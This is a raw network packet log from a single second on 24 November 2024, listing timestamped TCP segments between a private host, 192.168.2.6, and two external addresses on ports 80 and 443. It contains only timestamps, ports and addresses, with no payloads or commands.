Nov 24, 2024 04:20:24.542429924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.543189049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.543267965 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.543303967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.543349981 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.544135094 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.544152021 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.544197083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.544229984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.545010090 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.545115948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.545164108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.545902014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.545922995 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.545949936 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.545958042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.545979977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.545989037 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.546000957 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.546029091 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.546035051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.546052933 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.546807051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.546854019 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.546900988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.547642946 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.547688007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.547719955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.547746897 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.547780991 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.548620939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.548680067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.548723936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.548768997 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.553724051 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.553740978 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.553783894 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.553793907 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.553822041 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.553843975 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.555413961 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.555454969 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.555489063 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.555499077 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.555527925 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.555546045 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.557441950 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.557467937 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.557550907 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.557564020 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.557614088 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.563373089 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.563399076 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.563446045 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.563457966 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.563484907 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.563571930 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.569372892 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.569391966 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.569434881 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.569456100 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.569467068 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.569492102 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.575875044 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.575907946 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.575954914 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.575969934 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.575989962 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.576011896 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.582669020 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.582686901 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.582755089 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.582765102 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.582793951 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.582813025 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.583513021 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.583537102 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.583579063 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.583589077 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.583601952 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.584211111 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.593600035 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.593683004 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.593704939 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.593718052 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.593750954 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.593774080 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.599039078 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.599055052 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.599123001 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.599138975 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.599178076 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.612363100 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.612380981 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.612463951 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.612472057 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.612590075 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.618482113 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.618504047 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.618546963 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.618558884 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.618592978 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.618613958 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.627840996 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.627867937 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.627931118 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.627948046 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.627974987 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.627990961 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.631439924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.631520033 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.631562948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.631943941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.631999969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.631999016 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.632388115 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.632848024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.632971048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.633018970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.633749008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.633855104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.633908987 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.634648085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.634701967 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.634738922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.634908915 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.635555983 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.635571957 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.635615110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.635643005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.636426926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.636513948 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.636548996 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.636691093 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.637320042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.637387037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.637432098 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.637489080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.638230085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.638314009 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.638408899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.638459921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.639106989 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.639172077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.639173985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.639430046 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.640032053 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.640147924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.640161991 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.640193939 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.640942097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.641000032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.641047955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.641242027 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.641818047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.641885042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.641895056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.641943932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.642760992 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.642813921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.642891884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.642956972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.643620968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.643666983 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.643718958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.643771887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.644552946 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.644612074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.644655943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.644701004 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.645051956 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.645104885 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.645128965 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.645137072 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.645159960 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.645175934 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.645431995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.645488977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.645534039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.645581961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.646316051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.646358967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.646372080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.646528006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.647213936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.647286892 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.647342920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.647485018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.648118973 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.648281097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.648340940 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.648372889 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.649036884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.649106979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.649141073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.649194956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.649921894 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.650034904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.650093079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.650827885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.650882959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.650934935 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.650985003 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.651743889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.651810884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.651863098 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.651910067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.652632952 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.652683973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.652743101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.652796984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.653547049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.653599024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.653650999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.653888941 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.654455900 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.654525042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.654570103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.654661894 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.655371904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.655425072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.655426025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.655555964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.656276941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.656384945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.656395912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.656428099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.657126904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.657224894 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.657247066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.657303095 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.658016920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.658083916 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.658094883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.658149958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.658943892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.658997059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.659029961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.659080982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.659872055 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.659887075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.659950972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.659950972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.660701990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.660769939 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.662822962 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.662842035 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.662916899 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.662924051 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.662959099 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.676759005 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.676774979 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.676815987 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.676821947 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.676834106 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.676856995 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.680192947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.680212021 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.680253029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.680267096 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.680598974 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.680644035 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.680654049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.680695057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.681497097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.681546926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.681546926 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.681591988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.682368994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.682415962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.682468891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.682513952 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.683298111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.683340073 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.683352947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.683392048 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.684175968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.684278965 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.684292078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.684333086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.685094118 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.685149908 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.685205936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.685247898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.685945034 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.686022997 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.686058044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.686108112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.686841011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.687002897 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.687050104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.687720060 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.687768936 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.687921047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.687980890 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.688463926 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.688481092 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.688534975 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.688541889 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.688618898 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.699985981 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.700001955 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.700036049 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.700042009 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.700062990 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.700088024 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.710789919 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.710809946 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.710855007 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.710860968 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.710886955 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.710906982 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.713572025 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.713615894 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.713677883 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.713677883 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.713694096 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.713787079 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.717360020 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.717406988 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.717425108 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.717442989 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.717467070 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.717500925 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.722681999 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.722702980 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.722768068 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.722785950 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.722820997 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.722842932 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.730427980 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.730452061 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.730506897 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.730515003 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.730530024 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.730572939 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.730576992 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.730637074 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.730643988 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.730688095 CET	443	49738	150.171.28.10	192.168.2.6
